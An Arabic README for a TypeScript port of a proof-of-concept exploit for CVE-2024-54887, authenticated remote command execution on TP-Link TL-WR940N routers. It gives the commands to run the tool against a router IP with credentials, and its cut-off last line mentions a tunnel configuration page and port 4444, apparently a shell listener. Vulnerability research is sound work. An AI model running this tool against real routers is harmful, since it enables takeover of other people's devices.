
PoC بلغة TypeScript لثغرة CVE-2024-54887 (RCE موثَّق في TP-Link TL-WR940N)
يحتوي هذا المستودع على إعادة كتابة بلغة TypeScript (ts-node) لنموذج PoC العام المكتوب بلغة Python للثغرة CVE-2024-54887 (تنفيذ أوامر عن بُعد RCE بصلاحية مصادقة على أجهزة TP-Link TL-WR940N الإصدار v3/v4).
npm install
npx ts-node .\cve-2024-54887.ts --ip <router-ip>
بيانات اعتماد اختيارية:
npx ts-node .\cve-2024-54887.ts --ip <router-ip> --username <user> --password <pass>
الوسائط القصيرة متاحة أيضًا:
npx ts-node .\cve-2024-54887.ts -i <router-ip> -u <user> -p <pass>
عرض المساعدة:
npx ts-node .\cve-2024-54887.ts --help
Wan6to4TunnelCfgRpm.htm المعدّة.port 4444).